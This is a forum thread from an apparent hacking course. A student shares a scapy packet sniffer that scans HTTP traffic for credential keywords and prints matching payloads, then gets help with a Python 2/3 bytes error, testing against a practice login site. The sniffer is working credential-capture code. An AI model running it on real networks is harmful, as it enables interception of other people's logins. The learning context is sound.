- This topic has 7 replies, 2 voices, and was last updated 2 years, 7 months ago by
Diego Pérez.
- AuthorPosts
- July 21, 2022 at 6:41 am #65620
FreeMan
ParticipantHello, i bought python hacking course and now im at packet sniffing video.
Im whatching your lessons and do everything like you in in this video.So i copied your packet sniffer code:
“#!/usr/bin/env python
import scapy.all as scapy
from scapy.layers import httpdef sniff(interface):
scapy.sniff(iface=interface,store=False,prn=process_sniffed_packet)def process_sniffed_packet(packet):
if packet.haslayer(http.HTTPRequest):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = [“username”,”user”, “login”, “password”]
for keyword in keywords:
if keyword in load:
print(load)
break
sniff(“eth0″)”go in terminal and type: python3 packet_sniffer.py and hit enter
then i go to the http login site enter user name and in terminal i got this error:
“Traceback (most recent call last):
File “/root/PycharmProjects/arpspoofer/sniffer2.py”, line 17, in <module>
sniff(“eth0”)
File “/root/PycharmProjects/arpspoofer/sniffer2.py”, line 6, in sniff
scapy.sniff(iface=interface,store=False,prn=process_sniffed_packet)
File “/usr/lib/python3/dist-packages/scapy/sendrecv.py”, line 1036, in sniff
sniffer._run(*args, **kwargs)
File “/usr/lib/python3/dist-packages/scapy/sendrecv.py”, line 989, in _run
session.on_packet_received(p)
File “/usr/lib/python3/dist-packages/scapy/sessions.py”, line 82, in on_packet_received
result = self.prn(pkt)
File “/root/PycharmProjects/arpspoofer/sniffer2.py”, line 14, in process_sniffed_packet
if keyword in load:
TypeError: a bytes-like object is required, not ‘str'”Please help, and sorry for my bad english.
Thank youJuly 21, 2022 at 8:04 am #65621July 21, 2022 at 8:05 am #65623FreeMan
Participantand zaid code form video:
(i think is basicly the same but my just dont work)
Attachments:
You must be logged in to view attached files.July 21, 2022 at 5:50 pm #65639Diego Pérez
ModeratorHi!
Use python 2 to run the script and it should work. And there’s a lecture at the end of this section that will fix the exact error you are facing, so at the moment use python2 and once you get to such lecture the error will be fixed.Greetings!
DiegoJuly 22, 2022 at 8:11 am #65649FreeMan
ParticipantThanks for fast reply but now when i run it in python 2 (python sniffer.py) i have different problem
program dont recive packets at all i go to vulnweb login , enter username and pass enter and…nothing
packets never commingAttachments:
You must be logged in to view attached files.July 22, 2022 at 8:19 am #65651FreeMan
Participantofcourse i use the same code again just whit python 2 , now i dont get error but i dont recive packets too.
July 22, 2022 at 9:01 am #65653FreeMan
Participanti figured it out, i just add few more important keywords in keyword and now it capture it.
Thanks for your help Diego.July 22, 2022 at 6:25 pm #65669Diego Pérez
ModeratorYou’re welcome!
Greetings!
Diego - AuthorPosts
- You must be logged in to reply to this topic.